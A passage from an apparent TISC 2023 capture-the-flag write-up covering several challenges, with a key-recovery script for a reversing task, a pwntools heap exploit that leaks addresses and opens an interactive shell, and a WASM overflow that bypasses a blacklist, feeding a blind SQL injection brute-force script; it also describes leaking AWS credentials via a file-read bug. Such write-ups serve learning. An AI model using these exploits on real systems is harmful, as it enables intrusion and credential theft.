v130.ptr, v130.ref, v131, v132) != 110 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(7, (unsigned int)&keyMix, v117, v118, v119, v120, v130.ptr, v130.ref, v131, v132) != 46 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(5, (unsigned int)&keyMix, v121, v122, v123, v124, v130.ptr, v130.ref, v131, v132) != 96 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); if ( *(_BYTE *)array_get(9, (unsigned int)&keyMix, v125, v126, v127, v128, v130.ptr, v130.ref, v131, v132) != 40 ) return (void *)0xFFFFFFFFLL; dest = &v130; memmove(&v130, &keyMix, 0x20uLL); return (void *)(unsigned int)main__decrypt(v130);}
Using these as constraints, we can get an array that should be set. However we need to make sure to shuffle it according to their algorithm.
arr = [0]*32arr[31] = 118arr[19] = 0arr[21] = 87arr[13] = 19arr[30] = 110arr[14] = 84arr[20] = 63arr[24] = 91arr[12] = 43arr[29] = 22arr[11] = 104arr[10] = 17arr[2] = 100arr[6] = 23arr[0] = 106arr[18] = 40arr[27] = 28arr[25] = 20arr[1] = 1arr[22] = 59arr[17] = 104arr[8] = 117arr[23] = 126arr[16] = 37arr[3] = 45arr[4] = 94arr[26] = 120arr[28] = 87arr[15] = 110arr[7] = 46arr[5] = 96arr[9] = 40
orig = [0]*32for i in range(32): l = 32-i-1 if l != 0: orig[l] = (arr[l] ^ arr[l-1] ^ (l+1)) - 5 else: orig[0] = (arr[0] ^ 1) - 5print(orig)print(''.join(chr(c) for c in orig))
pvb_COPY = origfor k in range(32): pvb_COPY[k] += 5 pvb_COPY[k] ^= k+1 if k > 0: pvb_COPY[k] ^= pvb_COPY[k-1]print(pvb_COPY)print(arr)
arr = [102, 100, 97, 72, 113, 51, 107, 44, 77, 82, 45, 112, 73, 49, 67, 37, 85, 90, 78, 55, 37, 121, 118, 88, 55, 80, 114, 115, 81, 90, 98, 51]arr = ''.join(chr(c) for c in arr)
from requests import *
host = "http://chals.tisc23.ctf.sg:48471"
s = Session()s.cookies['id'] = args.R
link = f"{host}/{arr}"r = s.post(link)print(r)print(r.text)
stream = s.get(f"{host}/get_4d_number", stream=True)
for l in stream.iter_lines(): if l: print(l)
Challenge 7
This challenge was annoying due to how large the methods were.
A breif summary is: Fill up the memory except one, so that the next allocation will be same memory as the the name and motto allocation. This can be used to leak out memory addresses.
The solve script is provided as below:
for i in range(0x250-2): print(i) add_newspaper(b"A")print('adding...')add_cd_dvd()
change_name_motto(b"", b"")p.recvuntil("[Name]: ")name = p.recvline()p.recvuntil("[Motto]: ")motto = p.recvline()
print(hexdump(name))print(hexdump(motto))file = u64(bytes(name[1:7][::-1]).ljust(8, b'\0')) - 0x61f8success(f"{hex(file) = }")
for i in range(5): rmv_newspaper(1)
if p64(file)[5] != 0x55 and p64(file)[5] != 0x56 and p64(file)[5] != 0x57: print("nope") print(p64(file)[5]) error(f"{hex(file) = }") exit(1)
shuff = p64(file + 0x8054)[::-1]for i in range(15): change_name_motto(shuff*2, shuff*4)
pause()add_bookshelf(b"BOOK")p.sendlineafter(":", "2")p.sendlineafter(":", "2")p.sendlineafter(":", str(0))p.sendlineafter(":", "5")
p.interactive()
Challenge 8
We are given server.js
file. There is a obvious vulnerability to leak arbitrary files; we use this to leak the AWS config file.
const express = require('express');const app = express();const port = 3000;
const db = require('./db');
const AWS = require('aws-sdk');process.env.AWS_SDK_LOAD_CONFIG = 1;
AWS.config.getCredentials((err) => { if (err) console.log(err.stack); // TODO: Add more comments here else { console.log("Access key:", AWS.config.credentials.accessKeyId); console.log("Region:", AWS.config.region); }});
const lambda = new AWS.Lambda();
const session = require('express-session');const flash = require('connect-flash');const bodyParser = require('body-parser');
app.use(session({ secret: 'mysecret', resave: true, saveUninitialized: true}));
app.use(flash());
var pug = require('pug')app.set('view engine', 'pug');
var toolsObj = {};
toolsObj.saveFlash = function(req, res) { res.locals.errors = req.flash("error"); res.locals.successes = req.flash("success");};
module.exports = toolsObj;
app.use(bodyParser.urlencoded({ extended: true}));
app.get('/', (req, res) => { res.send(pug.renderFile('login.pug', { messages: req.flash() }));});
app.get('/reminder', (req, res) => { const username = req.query.username; res.send(pug.renderFile('reminder.pug', { username }));});
app.get('/remind', (req, res) => { const username = req.query.username; const reminder = req.query.reminder; res.send(pug.renderFile('remind.pug', { username, reminder }));});
app.post('/api/submit-reminder', (req, res) => { const username = req.body.username; const reminder = req.body.reminder; const viewType = req.body.viewType; res.send(pug.renderFile(viewType, { username, reminder })); // BUG: SSTI?});
app.post('/api/login', (req, res) => { // pk> Note: added URL decoding so people can use a wider range of characters for their username :) // dr> Are you crazy? This is dangerous. I've added a blacklist to the lambda function to prevent any possible attacks.
const username = req.body.username; const password = req.body.password; if (!username || !password) { req.flash('error', "No username/password received"); req.session.save(() => { res.redirect('/'); }); }
const payload = JSON.stringify({ username, password });
try { lambda.invoke({ FunctionName: 'craft_query', Payload: payload }, (err, data) => { if (err) { req.flash('error', 'Uh oh. Something went wrong.'); req.session.save(() => { res.redirect('/'); }); } else { const responsePayload = JSON.parse(data.Payload); const result = responsePayload;
if (result !== "Blacklisted!") { const sql = result; db.query(sql, (err, results) => { if (err) { req.flash('error', 'Uh oh. Something went wrong.'); req.session.save(() => { res.redirect('/'); }); } else if (results.length !== 0) { res.redirect(`/reminder?username=${username}`); } else { req.flash('error', 'Invalid username/password'); req.session.save(() => { res.redirect('/'); }); } }); } else { req.flash('error', 'Blacklisted'); req.session.save(() => { res.redirect('/'); }); } } });
} catch (error) { console.log(error) req.flash('error', 'Uh oh. Something went wrong.'); req.session.save(() => { res.redirect('/'); }); }});
app.listen(port, () => { console.log(`Server listening at http://localhost:${port}`);});
The rendering only captures so much, but it’s enough:
Once we have that we can try to do typical AWS enumeration
We know that we are looking for AWS lambda function, so we can try to download the source code:
The function is mostly a wrap around a WASM file. This can be decompiled with Ghidra:
undefined4 export::craft_query(undefined4 username,undefined4 password)
{ undefined4 uVar1; undefined local_90 [59]; undefined local_55; undefined local_50 [68]; uint local_c; undefined4 local_8; undefined4 local_4;
local_c = 1; local_8 = password; local_4 = username; weird_urldecode(local_50,username); copy(local_90,local_8,0x3b); local_55 = 0; uVar1 = (**(code **)((ulonglong)local_c * 4))(local_50,local_90); return uVar1;}
char * export::load_query(undefined4 param1,undefined4 param2)
{ unnamed_function_5(param1,param2,s_0123456789ABCDEF_ram_00010250 + 0x10,300); return s_0123456789ABCDEF_ram_00010250 + 0x10;}
void unnamed_function_5(undefined4 param1,undefined4 param2,undefined4 param3,undefined4 param4)
{ undefined4 local_20; undefined4 local_1c; undefined4 local_10; undefined4 local_c; undefined4 local_8; undefined4 local_4;
local_20 = param1; local_1c = param2; local_10 = param4; local_c = param3; local_8 = param2; local_4 = param1; // snprintf unnamed_function_11(param3,param4,s_SELECT_*_from_Users_WHERE_userna_ram_00010036,&local_20); return;}
void weird_urldecode(char *dest,char *src)
{ int d1; int d2; char *srcptr; char *dstptr;
srcptr = src; dstptr = dest; while (*srcptr != '\0') { if (*srcptr == '%') { d1 = ctodigit((int)srcptr[1]); d2 = ctodigit((int)srcptr[2]); if ((d1 == -1) || (d2 == -1)) { *dstptr = *srcptr; srcptr = srcptr + 1; dstptr = dstptr + 1; } else { srcptr = srcptr + 3; write_byte(dstptr,d1 * 0x10 + d2); d1 = weird_strlen(dstptr); dstptr = dstptr + d1; } } else { *dstptr = *srcptr; srcptr = srcptr + 1; dstptr = dstptr + 1; } } *dstptr = '\0'; return;}
For whatever reason, craft_query
does a indirect call. Note that the weird_urldecode
does an unbounded copy, so we can overflow all the way to overwrite the local_4
variable. The indirect call uses the variable as an index into the global function table. If we change the index from 1 to 2, we call load_query
instead of is_blacklisted
, bypassing the blacklist entirely.
So now we can execute an arbitrary query, but the result is not shown to us; only a failure/success message, so its a typical Blind SQLi challenge.
from requests import *import stringimport subprocessimport time
def act(pre): query = f"\" UNION SELECT * from Users WHERE password like '{pre}' # " adj = query.count('%')
username, password = query.ljust(0x50-0xc + adj*2, 'A') + "%02%00%00", "A" print(username, password) print(len(username)) print(len(password)) if len(password) > 0x3b: raise "too long!"
out = subprocess.check_output(["node", "./lambda/wrap.js", username, password]) print(out) return b"SELECT" not in out
def test(pre): for i in range(1): if act(pre): return True return False
chars = "TISC{"
print(test("T%25"))#exit(0)
while True: add = False for c in string.printable: time.sleep(0) if c == '%' or c == '_' or c == '\n' or c == '\t': continue if test("%25" + chars[-6:] + c + "%25"): chars += c add=True break print(chars) if not add: exit(0)
I managed to crash the server ~10 times while doing this. Thanks to the CTF challenge organizers for fixing it up everytime.
Challenge 9
We are given the typical Chrome v8 pwn setup, including the patch.diff
. The patch only adds one function which leaks the TheHole
value to the interpreter side.
This challenge initially had a very easy exploit: load('flag')
. It was patched afterwards, but I paused solving it for a while so that they could get it up. Sadly, I didn’t have time to pursue this challenge afterwards due to my gazillion interviews.
Conclusion
I had fun with this iteration of TISC and the challenges were definitely more skilled than the previous iteration. Hope the next iteration is as good.